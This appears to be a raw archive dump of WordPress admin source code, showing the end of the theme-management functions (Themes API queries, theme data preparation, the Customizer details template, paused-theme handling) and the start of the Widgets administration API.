 *                             'hot_tags' or 'feature_list'.
 * @param array|object $args   {
 *     Optional. Array or object of arguments to serialize for the Themes API.
 *
 *     @type string  $slug     The theme slug. Default empty.
 *     @type int     $per_page Number of themes per page. Default 24.
 *     @type int     $page     Number of current page. Default 1.
 *     @type int     $number   Number of tags to be queried.
 *     @type string  $search   A search term. Default empty.
 *     @type string  $tag      Tag to filter themes. Default empty.
 *     @type string  $author   Username of an author to filter themes. Default empty.
 *     @type string  $user     Username to query for their favorites. Default empty.
 *     @type string  $browse   Browse view: 'featured', 'popular', 'updated', 'favorites'.
 *     @type string  $locale   Locale to provide context-sensitive results. Default is the value of get_locale().
 *     @type array   $fields   {
 *         Array of fields which should or should not be returned.
 *
 *         @type bool $description        Whether to return the theme full description. Default false.
 *         @type bool $sections           Whether to return the theme readme sections: description, installation,
 *                                        FAQ, screenshots, other notes, and changelog. Default false.
 *         @type bool $rating             Whether to return the rating in percent and total number of ratings.
 *                                        Default false.
 *         @type bool $ratings            Whether to return the number of rating for each star (1-5). Default false.
 *         @type bool $downloaded         Whether to return the download count. Default false.
 *         @type bool $downloadlink       Whether to return the download link for the package. Default false.
 *         @type bool $last_updated       Whether to return the date of the last update. Default false.
 *         @type bool $tags               Whether to return the assigned tags. Default false.
 *         @type bool $homepage           Whether to return the theme homepage link. Default false.
 *         @type bool $screenshots        Whether to return the screenshots. Default false.
 *         @type int  $screenshot_count   Number of screenshots to return. Default 1.
 *         @type bool $screenshot_url     Whether to return the URL of the first screenshot. Default false.
 *         @type bool $photon_screenshots Whether to return the screenshots via Photon. Default false.
 *         @type bool $template           Whether to return the slug of the parent theme. Default false.
 *         @type bool $parent             Whether to return the slug, name and homepage of the parent theme. Default false.
 *         @type bool $versions           Whether to return the list of all available versions. Default false.
 *         @type bool $theme_url          Whether to return theme's URL. Default false.
 *         @type bool $extended_author    Whether to return nicename or nicename and display name. Default false.
 *     }
 * }
 * @return object|array|WP_Error Response object or array on success, WP_Error on failure. See the
 *         {@link https://developer.wordpress.org/reference/functions/themes_api/ function reference article}
 *         for more information on the make-up of possible return objects depending on the value of `$action`.
 */
function themes_api( $action, $args = array() ) {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

if ( is_array( $args ) ) {
		$args = (object) $args;
	}

if ( 'query_themes' === $action ) {
		if ( ! isset( $args->per_page ) ) {
			$args->per_page = 24;
		}
	}

if ( ! isset( $args->locale ) ) {
		$args->locale = get_user_locale();
	}

if ( ! isset( $args->wp_version ) ) {
		$args->wp_version = substr( $wp_version, 0, 3 ); // x.y
	}

/**
	 * Filters arguments used to query for installer pages from the WordPress.org Themes API.
	 *
	 * Important: An object MUST be returned to this filter.
	 *
	 * @since 2.8.0
	 *
	 * @param object $args   Arguments used to query for installer pages from the WordPress.org Themes API.
	 * @param string $action Requested action. Likely values are 'theme_information',
	 *                       'feature_list', or 'query_themes'.
	 */
	$args = apply_filters( 'themes_api_args', $args, $action );

/**
	 * Filters whether to override the WordPress.org Themes API.
	 *
	 * Passing a non-false value will effectively short-circuit the WordPress.org API request.
	 *
	 * If `$action` is 'query_themes', 'theme_information', or 'feature_list', an object MUST
	 * be passed. If `$action` is 'hot_tags', an array should be passed.
	 *
	 * @since 2.8.0
	 *
	 * @param false|object|array $override Whether to override the WordPress.org Themes API. Default false.
	 * @param string             $action   Requested action. Likely values are 'theme_information',
	 *                                    'feature_list', or 'query_themes'.
	 * @param object             $args     Arguments used to query for installer pages from the Themes API.
	 */
	$res = apply_filters( 'themes_api', false, $action, $args );

if ( ! $res ) {
		$url = 'http://api.wordpress.org/themes/info/1.2/';
		$url = add_query_arg(
			array(
				'action'  => $action,
				'request' => $args,
			),
			$url
		);

$http_url = $url;
		$ssl      = wp_http_supports( array( 'ssl' ) );
		if ( $ssl ) {
			$url = set_url_scheme( $url, 'https' );
		}

$http_args = array(
			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
		);
		$request   = wp_remote_get( $url, $http_args );

if ( $ssl && is_wp_error( $request ) ) {
			if ( ! wp_doing_ajax() ) {
				trigger_error(
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
					headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
				);
			}
			$request = wp_remote_get( $http_url, $http_args );
		}

if ( is_wp_error( $request ) ) {
			$res = new WP_Error(
				'themes_api_failed',
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				),
				$request->get_error_message()
			);
		} else {
			$res = json_decode( wp_remote_retrieve_body( $request ), true );
			if ( is_array( $res ) ) {
				// Object casting is required in order to match the info/1.0 format.
				$res = (object) $res;
			} elseif ( null === $res ) {
				$res = new WP_Error(
					'themes_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					wp_remote_retrieve_body( $request )
				);
			}

if ( isset( $res->error ) ) {
				$res = new WP_Error( 'themes_api_failed', $res->error );
			}
		}

// Back-compat for info/1.2 API, upgrade the theme objects in query_themes to objects.
		if ( 'query_themes' === $action ) {
			foreach ( $res->themes as $i => $theme ) {
				$res->themes[ $i ] = (object) $theme;
			}
		}
		// Back-compat for info/1.2 API, downgrade the feature_list result back to an array.
		if ( 'feature_list' === $action ) {
			$res = (array) $res;
		}
	}

/**
	 * Filters the returned WordPress.org Themes API response.
	 *
	 * @since 2.8.0
	 *
	 * @param array|object|WP_Error $res    WordPress.org Themes API response.
	 * @param string                $action Requested action. Likely values are 'theme_information',
	 *                                      'feature_list', or 'query_themes'.
	 * @param object                $args   Arguments used to query for installer pages from the WordPress.org Themes API.
	 */
	return apply_filters( 'themes_api_result', $res, $action, $args );
}

/**
 * Prepare themes for JavaScript.
 *
 * @since 3.8.0
 *
 * @param WP_Theme[] $themes Optional. Array of theme objects to prepare.
 *                           Defaults to all allowed themes.
 *
 * @return array An associative array of theme data, sorted by name.
 */
function wp_prepare_themes_for_js( $themes = null ) {
	$current_theme = get_stylesheet();

/**
	 * Filters theme data before it is prepared for JavaScript.
	 *
	 * Passing a non-empty array will result in wp_prepare_themes_for_js() returning
	 * early with that value instead.
	 *
	 * @since 4.2.0
	 *
	 * @param array           $prepared_themes An associative array of theme data. Default empty array.
	 * @param WP_Theme[]|null $themes          An array of theme objects to prepare, if any.
	 * @param string          $current_theme   The current theme slug.
	 */
	$prepared_themes = (array) apply_filters( 'pre_prepare_themes_for_js', array(), $themes, $current_theme );

if ( ! empty( $prepared_themes ) ) {
		return $prepared_themes;
	}

// Make sure the current theme is listed first.
	$prepared_themes[ $current_theme ] = array();

if ( null === $themes ) {
		$themes = wp_get_themes( array( 'allowed' => true ) );
		if ( ! isset( $themes[ $current_theme ] ) ) {
			$themes[ $current_theme ] = wp_get_theme();
		}
	}

$updates    = array();
	$no_updates = array();
	if ( current_user_can( 'update_themes' ) ) {
		$updates_transient = get_site_transient( 'update_themes' );
		if ( isset( $updates_transient->response ) ) {
			$updates = $updates_transient->response;
		}
		if ( isset( $updates_transient->no_update ) ) {
			$no_updates = $updates_transient->no_update;
		}
	}

WP_Theme::sort_by_name( $themes );

$parents = array();

$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

foreach ( $themes as $theme ) {
		$slug         = $theme->get_stylesheet();
		$encoded_slug = urlencode( $slug );

$parent = false;
		if ( $theme->parent() ) {
			$parent           = $theme->parent();
			$parents[ $slug ] = $parent->get_stylesheet();
			$parent           = $parent->display( 'Name' );
		}

$customize_action = null;
		if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
			$customize_action = esc_url(
				add_query_arg(
					array(
						'return' => urlencode( esc_url_raw( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) ),
					),
					wp_customize_url( $slug )
				)
			);
		}

$update_requires_wp  = isset( $updates[ $slug ]['requires'] ) ? $updates[ $slug ]['requires'] : null;
		$update_requires_php = isset( $updates[ $slug ]['requires_php'] ) ? $updates[ $slug ]['requires_php'] : null;

$auto_update        = in_array( $slug, $auto_updates, true );
		$auto_update_action = $auto_update ? 'disable-auto-update' : 'enable-auto-update';

if ( isset( $updates[ $slug ] ) ) {
			$auto_update_supported      = true;
			$auto_update_filter_payload = (object) $updates[ $slug ];
		} elseif ( isset( $no_updates[ $slug ] ) ) {
			$auto_update_supported      = true;
			$auto_update_filter_payload = (object) $no_updates[ $slug ];
		} else {
			$auto_update_supported = false;
			/*
			 * Create the expected payload for the auto_update_theme filter, this is the same data
			 * as contained within $updates or $no_updates but used when the Theme is not known.
			 */
			$auto_update_filter_payload = (object) array(
				'theme'        => $slug,
				'new_version'  => $theme->get( 'Version' ),
				'url'          => '',
				'package'      => '',
				'requires'     => $theme->get( 'RequiresWP' ),
				'requires_php' => $theme->get( 'RequiresPHP' ),
			);
		}

$type = 'theme';
		/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
		$auto_update_forced = apply_filters( "auto_update_{$type}", null, $auto_update_filter_payload );

$prepared_themes[ $slug ] = array(
			'id'             => $slug,
			'name'           => $theme->display( 'Name' ),
			'screenshot'     => array( $theme->get_screenshot() ), // @todo Multiple screenshots.
			'description'    => $theme->display( 'Description' ),
			'author'         => $theme->display( 'Author', false, true ),
			'authorAndUri'   => $theme->display( 'Author' ),
			'tags'           => $theme->display( 'Tags' ),
			'version'        => $theme->get( 'Version' ),
			'compatibleWP'   => is_wp_version_compatible( $theme->get( 'RequiresWP' ) ),
			'compatiblePHP'  => is_php_version_compatible( $theme->get( 'RequiresPHP' ) ),
			'updateResponse' => array(
				'compatibleWP'  => is_wp_version_compatible( $update_requires_wp ),
				'compatiblePHP' => is_php_version_compatible( $update_requires_php ),
			),
			'parent'         => $parent,
			'active'         => $slug === $current_theme,
			'hasUpdate'      => isset( $updates[ $slug ] ),
			'hasPackage'     => isset( $updates[ $slug ] ) && ! empty( $updates[ $slug ]['package'] ),
			'update'         => get_theme_update_available( $theme ),
			'autoupdate'     => array(
				'enabled'   => $auto_update || $auto_update_forced,
				'supported' => $auto_update_supported,
				'forced'    => $auto_update_forced,
			),
			'actions'        => array(
				'activate'   => current_user_can( 'switch_themes' ) ? wp_nonce_url( admin_url( 'themes.php?action=activate&amp;stylesheet=' . $encoded_slug ), 'switch-theme_' . $slug ) : null,
				'customize'  => $customize_action,
				'delete'     => current_user_can( 'delete_themes' ) ? wp_nonce_url( admin_url( 'themes.php?action=delete&amp;stylesheet=' . $encoded_slug ), 'delete-theme_' . $slug ) : null,
				'autoupdate' => wp_is_auto_update_enabled_for_type( 'theme' ) && ! is_multisite() && current_user_can( 'update_themes' )
					? wp_nonce_url( admin_url( 'themes.php?action=' . $auto_update_action . '&amp;stylesheet=' . $encoded_slug ), 'updates' )
					: null,
			),
		);
	}

// Remove 'delete' action if theme has an active child.
	if ( ! empty( $parents ) && array_key_exists( $current_theme, $parents ) ) {
		unset( $prepared_themes[ $parents[ $current_theme ] ]['actions']['delete'] );
	}

/**
	 * Filters the themes prepared for JavaScript, for themes.php.
	 *
	 * Could be useful for changing the order, which is by name by default.
	 *
	 * @since 3.8.0
	 *
	 * @param array $prepared_themes Array of theme data.
	 */
	$prepared_themes = apply_filters( 'wp_prepare_themes_for_js', $prepared_themes );
	$prepared_themes = array_values( $prepared_themes );
	return array_filter( $prepared_themes );
}

/**
 * Print JS templates for the theme-browsing UI in the Customizer.
 *
 * @since 4.2.0
 */
function customize_themes_print_templates() {
	?>
	<script type="text/html" id="tmpl-customize-themes-details-view">
		<div class="theme-backdrop"></div>
		<div class="theme-wrap wp-clearfix" role="document">
			<div class="theme-header">
				<button type="button" class="left dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Show previous theme' ); ?></span></button>
				<button type="button" class="right dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Show next theme' ); ?></span></button>
				<button type="button" class="close dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Close details dialog' ); ?></span></button>
			</div>
			<div class="theme-about wp-clearfix">
				<div class="theme-screenshots">
				<# if ( data.screenshot && data.screenshot[0] ) { #>
					<div class="screenshot"><img src="{{ data.screenshot[0] }}" alt="" /></div>
				<# } else { #>
					<div class="screenshot blank"></div>
				<# } #>
				</div>

<# if ( data.stars && 0 != data.num_ratings ) { #>
						<div class="theme-rating">
							{{{ data.stars }}}
							<a class="num-ratings" target="_blank" href="{{ data.reviews_url }}">
								<?php
								printf(
									'%1$s <span class="screen-reader-text">%2$s</span>',
									/* translators: %s: Number of ratings. */
									sprintf( __( '(%s ratings)' ), '{{ data.num_ratings }}' ),
									/* translators: Accessibility text. */
									__( '(opens in a new tab)' )
								);
								?>
							</a>
						</div>
					<# } #>

<# if ( data.hasUpdate ) { #>
						<# if ( data.updateResponse.compatibleWP && data.updateResponse.compatiblePHP ) { #>
							<div class="notice notice-warning notice-alt notice-large" data-slug="{{ data.id }}">
								<h3 class="notice-title"><?php _e( 'Update Available' ); ?></h3>
								{{{ data.update }}}
							</div>
						<# } else { #>
							<div class="notice notice-error notice-alt notice-large" data-slug="{{ data.id }}">
								<h3 class="notice-title"><?php _e( 'Update Incompatible' ); ?></h3>
								<p>
									<# if ( ! data.updateResponse.compatibleWP && ! data.updateResponse.compatiblePHP ) { #>
										<?php
										printf(
											/* translators: %s: Theme name. */
											__( 'There is a new version of %s available, but it doesn&#8217;t work with your versions of WordPress and PHP.' ),
											'{{{ data.name }}}'
										);
										if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
											printf(
												/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
												' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
												self_admin_url( 'update-core.php' ),
												esc_url( wp_get_update_php_url() )
											);
											wp_update_php_annotation( '</p><p><em>', '</em>' );
										} elseif ( current_user_can( 'update_core' ) ) {
											printf(
												/* translators: %s: URL to WordPress Updates screen. */
												' ' . __( '<a href="%s">Please update WordPress</a>.' ),
												self_admin_url( 'update-core.php' )
											);
										} elseif ( current_user_can( 'update_php' ) ) {
											printf(
												/* translators: %s: URL to Update PHP page. */
												' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
												esc_url( wp_get_update_php_url() )
											);
											wp_update_php_annotation( '</p><p><em>', '</em>' );
										}
										?>
									<# } else if ( ! data.updateResponse.compatibleWP ) { #>
										<?php
										printf(
											/* translators: %s: Theme name. */
											__( 'There is a new version of %s available, but it doesn&#8217;t work with your version of WordPress.' ),
											'{{{ data.name }}}'
										);
										if ( current_user_can( 'update_core' ) ) {
											printf(
												/* translators: %s: URL to WordPress Updates screen. */
												' ' . __( '<a href="%s">Please update WordPress</a>.' ),
												self_admin_url( 'update-core.php' )
											);
										}
										?>
									<# } else if ( ! data.updateResponse.compatiblePHP ) { #>
										<?php
										printf(
											/* translators: %s: Theme name. */
											__( 'There is a new version of %s available, but it doesn&#8217;t work with your version of PHP.' ),
											'{{{ data.name }}}'
										);
										if ( current_user_can( 'update_php' ) ) {
											printf(
												/* translators: %s: URL to Update PHP page. */
												' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
												esc_url( wp_get_update_php_url() )
											);
											wp_update_php_annotation( '</p><p><em>', '</em>' );
										}
										?>
									<# } #>
								</p>
							</div>
						<# } #>
					<# } #>

<# if ( data.parent ) { #>
						<p class="parent-theme">
							<?php
							printf(
								/* translators: %s: Theme name. */
								__( 'This is a child theme of %s.' ),
								'<strong>{{{ data.parent }}}</strong>'
							);
							?>
						</p>
					<# } #>

<# if ( ! data.compatibleWP || ! data.compatiblePHP ) { #>
						<div class="notice notice-error notice-alt notice-large"><p>
							<# if ( ! data.compatibleWP && ! data.compatiblePHP ) { #>
								<?php
								_e( 'This theme doesn&#8217;t work with your versions of WordPress and PHP.' );
								if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
									printf(
										/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
										' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
										self_admin_url( 'update-core.php' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								} elseif ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								} elseif ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } else if ( ! data.compatibleWP ) { #>
								<?php
								_e( 'This theme doesn&#8217;t work with your version of WordPress.' );
								if ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								}
								?>
							<# } else if ( ! data.compatiblePHP ) { #>
								<?php
								_e( 'This theme doesn&#8217;t work with your version of PHP.' );
								if ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } #>
						</p></div>
					<# } #>

<p class="theme-description">{{{ data.description }}}</p>

<# if ( data.tags ) { #>
						<p class="theme-tags"><span><?php _e( 'Tags:' ); ?></span> {{{ data.tags }}}</p>
					<# } #>
				</div>
			</div>

<# if ( data.compatibleWP && data.compatiblePHP ) { #>
						<button type="button" class="button button-primary preview-theme" data-slug="{{ data.id }}"><?php _e( 'Live Preview' ); ?></button>
					<# } else { #>
						<button class="button button-primary disabled"><?php _e( 'Live Preview' ); ?></button>
					<# } #>
				<# } else { #>
					<# if ( data.compatibleWP && data.compatiblePHP ) { #>
						<button type="button" class="button theme-install" data-slug="{{ data.id }}"><?php _e( 'Install' ); ?></button>
						<button type="button" class="button button-primary theme-install preview" data-slug="{{ data.id }}"><?php _e( 'Install &amp; Preview' ); ?></button>
					<# } else { #>
						<button type="button" class="button disabled"><?php _ex( 'Cannot Install', 'theme' ); ?></button>
						<button type="button" class="button button-primary disabled"><?php _e( 'Install &amp; Preview' ); ?></button>
					<# } #>
				<# } #>
			</div>
		</div>
	</script>
	<?php
}

/**
 * Determines whether a theme is technically active but was paused while
 * loading.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 5.2.0
 *
 * @param string $theme Path to the theme directory relative to the themes directory.
 * @return bool True, if in the list of paused themes. False, not in the list.
 */
function is_theme_paused( $theme ) {
	if ( ! isset( $GLOBALS['_paused_themes'] ) ) {
		return false;
	}

if ( get_stylesheet() !== $theme && get_template() !== $theme ) {
		return false;
	}

return array_key_exists( $theme, $GLOBALS['_paused_themes'] );
}

/**
 * Gets the error that was recorded for a paused theme.
 *
 * @since 5.2.0
 *
 * @param string $theme Path to the theme directory relative to the themes
 *                      directory.
 * @return array|false Array of error information as it was returned by
 *                     `error_get_last()`, or false if none was recorded.
 */
function wp_get_theme_error( $theme ) {
	if ( ! isset( $GLOBALS['_paused_themes'] ) ) {
		return false;
	}

if ( ! array_key_exists( $theme, $GLOBALS['_paused_themes'] ) ) {
		return false;
	}

return $GLOBALS['_paused_themes'][ $theme ];
}

/**
 * Tries to resume a single theme.
 *
 * If a redirect was provided and a functions.php file was found, we first ensure that
 * functions.php file does not throw fatal errors anymore.
 *
 * The way it works is by setting the redirection to the error before trying to
 * include the file. If the theme fails, then the redirection will not be overwritten
 * with the success message and the theme will not be resumed.
 *
 * @since 5.2.0
 *
 * @param string $theme    Single theme to resume.
 * @param string $redirect Optional. URL to redirect to. Default empty string.
 * @return bool|WP_Error True on success, false if `$theme` was not paused,
 *                       `WP_Error` on failure.
 */
function resume_theme( $theme, $redirect = '' ) {
	list( $extension ) = explode( '/', $theme );

/*
	 * We'll override this later if the theme could be resumed without
	 * creating a fatal error.
	 */
	if ( ! empty( $redirect ) ) {
		$functions_path = '';
		if ( strpos( STYLESHEETPATH, $extension ) ) {
			$functions_path = STYLESHEETPATH . '/functions.php';
		} elseif ( strpos( TEMPLATEPATH, $extension ) ) {
			$functions_path = TEMPLATEPATH . '/functions.php';
		}

if ( ! empty( $functions_path ) ) {
			wp_redirect(
				add_query_arg(
					'_error_nonce',
					wp_create_nonce( 'theme-resume-error_' . $theme ),
					$redirect
				)
			);

// Load the theme's functions.php to test whether it throws a fatal error.
			ob_start();
			if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) {
				define( 'WP_SANDBOX_SCRAPING', true );
			}
			include $functions_path;
			ob_clean();
		}
	}

$result = wp_paused_themes()->delete( $extension );

if ( ! $result ) {
		return new WP_Error(
			'could_not_resume_theme',
			__( 'Could not resume the theme.' )
		);
	}

return true;
}

/**
 * Renders an admin notice in case some themes have been paused due to errors.
 *
 * @since 5.2.0
 */
function paused_themes_notice() {
	if ( 'themes.php' === $GLOBALS['pagenow'] ) {
		return;
	}

if ( ! current_user_can( 'resume_themes' ) ) {
		return;
	}

if ( ! isset( $GLOBALS['_paused_themes'] ) || empty( $GLOBALS['_paused_themes'] ) ) {
		return;
	}

printf(
		'<div class="notice notice-error"><p><strong>%s</strong><br>%s</p><p><a href="%s">%s</a></p></div>',
		__( 'One or more themes failed to load properly.' ),
		__( 'You can find more details and make changes on the Themes screen.' ),
		esc_url( admin_url( 'themes.php' ) ),
		__( 'Go to the Themes screen' )
	);
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������widgets.php�����������������������������������������������������������������������������������������0000604�����������������00000025032�15075125355�0006731 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Widgets Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Display list of the available widgets.
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 */
function wp_list_widgets() {
	global $wp_registered_widgets, $wp_registered_widget_controls;

$sort = $wp_registered_widgets;
	usort( $sort, '_sort_name_callback' );
	$done = array();

foreach ( $sort as $widget ) {
		if ( in_array( $widget['callback'], $done, true ) ) { // We already showed this multi-widget.
			continue;
		}

$sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false );
		$done[]  = $widget['callback'];

if ( ! isset( $widget['params'][0] ) ) {
			$widget['params'][0] = array();
		}

$args = array(
			'widget_id'   => $widget['id'],
			'widget_name' => $widget['name'],
			'_display'    => 'template',
		);

if ( isset( $wp_registered_widget_controls[ $widget['id'] ]['id_base'] ) && isset( $widget['params'][0]['number'] ) ) {
			$id_base            = $wp_registered_widget_controls[ $widget['id'] ]['id_base'];
			$args['_temp_id']   = "$id_base-__i__";
			$args['_multi_num'] = next_widget_id_number( $id_base );
			$args['_add']       = 'multi';
		} else {
			$args['_add'] = 'single';
			if ( $sidebar ) {
				$args['_hide'] = '1';
			}
		}

$control_args = array(
			0 => $args,
			1 => $widget['params'][0],
		);
		$sidebar_args = wp_list_widget_controls_dynamic_sidebar( $control_args );

wp_widget_control( ...$sidebar_args );
	}
}

/**
 * Callback to sort array by a 'name' key.
 *
 * @since 3.1.0
 * @access private
 *
 * @return int
 */
function _sort_name_callback( $a, $b ) {
	return strnatcasecmp( $a['name'], $b['name'] );
}

/**
 * Show the widgets and their settings for a sidebar.
 * Used in the admin widget config screen.
 *
 * @since 2.5.0
 *
 * @param string $sidebar      Sidebar ID.
 * @param string $sidebar_name Optional. Sidebar name. Default empty.
 */
function wp_list_widget_controls( $sidebar, $sidebar_name = '' ) {
	add_filter( 'dynamic_sidebar_params', 'wp_list_widget_controls_dynamic_sidebar' );

$description = wp_sidebar_description( $sidebar );

echo '<div id="' . esc_attr( $sidebar ) . '" class="widgets-sortables">';

if ( $sidebar_name ) {
		$add_to = sprintf(
			/* translators: %s: Widgets sidebar name. */
			__( 'Add to: %s' ),
			$sidebar_name
		);
		?>
		<div class="sidebar-name" data-add-to="<?php echo esc_attr( $add_to ); ?>">
			<button type="button" class="handlediv hide-if-no-js" aria-expanded="true">
				<span class="screen-reader-text"><?php echo esc_html( $sidebar_name ); ?></span>
				<span class="toggle-indicator" aria-hidden="true"></span>
			</button>
			<h2><?php echo esc_html( $sidebar_name ); ?> <span class="spinner"></span></h2>
		</div>
		<?php
	}

if ( ! empty( $description ) ) {
		?>
		<div class="sidebar-description">
			<p class="description"><?php echo $description; ?></p>
		</div>
		<?php
	}

dynamic_sidebar( $sidebar );

echo '</div>';
}

/**
 * Retrieves the widget control arguments.
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 *
 * @param array $params
 * @return array
 */
function wp_list_widget_controls_dynamic_sidebar( $params ) {
	global $wp_registered_widgets;
	static $i = 0;
	$i++;

$widget_id = $params[0]['widget_id'];
	$id        = isset( $params[0]['_temp_id'] ) ? $params[0]['_temp_id'] : $widget_id;
	$hidden    = isset( $params[0]['_hide'] ) ? ' style="display:none;"' : '';

$params[0]['before_widget'] = "<div id='widget-{$i}_{$id}' class='widget'$hidden>";
	$params[0]['after_widget']  = '</div>';
	$params[0]['before_title']  = '%BEG_OF_TITLE%'; // Deprecated.
	$params[0]['after_title']   = '%END_OF_TITLE%'; // Deprecated.

if ( is_callable( $wp_registered_widgets[ $widget_id ]['callback'] ) ) {
		$wp_registered_widgets[ $widget_id ]['_callback'] = $wp_registered_widgets[ $widget_id ]['callback'];
		$wp_registered_widgets[ $widget_id ]['callback']  = 'wp_widget_control';
	}

return $params;
}

/**
 * @global array $wp_registered_widgets
 *
 * @param string $id_base
 * @return int
 */
function next_widget_id_number( $id_base ) {
	global $wp_registered_widgets;
	$number = 1;

foreach ( $wp_registered_widgets as $widget_id => $widget ) {
		if ( preg_match( '/' . $id_base . '-([0-9]+)$/', $widget_id, $matches ) ) {
			$number = max( $number, $matches[1] );
		}
	}
	$number++;

return $number;
}

/**
 * Meta widget used to display the control form for a widget.
 *
 * Called from dynamic_sidebar().
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 * @global array $sidebars_widgets
 *
 * @param array $sidebar_args
 * @return array
 */
function wp_widget_control( $sidebar_args ) {
	global $wp_registered_widgets, $wp_registered_widget_controls, $sidebars_widgets;

$widget_id  = $sidebar_args['widget_id'];
	$sidebar_id = isset( $sidebar_args['id'] ) ? $sidebar_args['id'] : false;
	$key        = $sidebar_id ? array_search( $widget_id, $sidebars_widgets[ $sidebar_id ], true ) : '-1'; // Position of widget in sidebar.
	$control    = isset( $wp_registered_widget_controls[ $widget_id ] ) ? $wp_registered_widget_controls[ $widget_id ] : array();
	$widget     = $wp_registered_widgets[ $widget_id ];

$id_format     = $widget['id'];
	$widget_number = isset( $control['params'][0]['number'] ) ? $control['params'][0]['number'] : '';
	$id_base       = isset( $control['id_base'] ) ? $control['id_base'] : $widget_id;
	$width         = isset( $control['width'] ) ? $control['width'] : '';
	$height        = isset( $control['height'] ) ? $control['height'] : '';
	$multi_number  = isset( $sidebar_args['_multi_num'] ) ? $sidebar_args['_multi_num'] : '';
	$add_new       = isset( $sidebar_args['_add'] ) ? $sidebar_args['_add'] : '';

$before_form           = isset( $sidebar_args['before_form'] ) ? $sidebar_args['before_form'] : '<form method="post">';
	$after_form            = isset( $sidebar_args['after_form'] ) ? $sidebar_args['after_form'] : '</form>';
	$before_widget_content = isset( $sidebar_args['before_widget_content'] ) ? $sidebar_args['before_widget_content'] : '<div class="widget-content">';
	$after_widget_content  = isset( $sidebar_args['after_widget_content'] ) ? $sidebar_args['after_widget_content'] : '</div>';

$query_arg = array( 'editwidget' => $widget['id'] );
	if ( $add_new ) {
		$query_arg['addnew'] = 1;
		if ( $multi_number ) {
			$query_arg['num']  = $multi_number;
			$query_arg['base'] = $id_base;
		}
	} else {
		$query_arg['sidebar'] = $sidebar_id;
		$query_arg['key']     = $key;
	}

/*
	 * We aren't showing a widget control, we're outputting a template
	 * for a multi-widget control.
	 */
	if ( isset( $sidebar_args['_display'] ) && 'template' === $sidebar_args['_display'] && $widget_number ) {
		// number == -1 implies a template where id numbers are replaced by a generic '__i__'.
		$control['params'][0]['number'] = -1;
		// With id_base widget id's are constructed like {$id_base}-{$id_number}.
		if ( isset( $control['id_base'] ) ) {
			$id_format = $control['id_base'] . '-__i__';
		}
	}

$wp_registered_widgets[ $widget_id ]['callback'] = $wp_registered_widgets[ $widget_id ]['_callback'];
	unset( $wp_registered_widgets[ $widget_id ]['_callback'] );

$widget_title = esc_html( strip_tags( $sidebar_args['widget_name'] ) );
	$has_form     = 'noform';

echo $sidebar_args['before_widget'];
	?>
	<div class="widget-top">
	<div class="widget-title-action">
		<button type="button" class="widget-action hide-if-no-js" aria-expanded="false">
			<span class="screen-reader-text edit">
				<?php
				/* translators: %s: Widget title. */
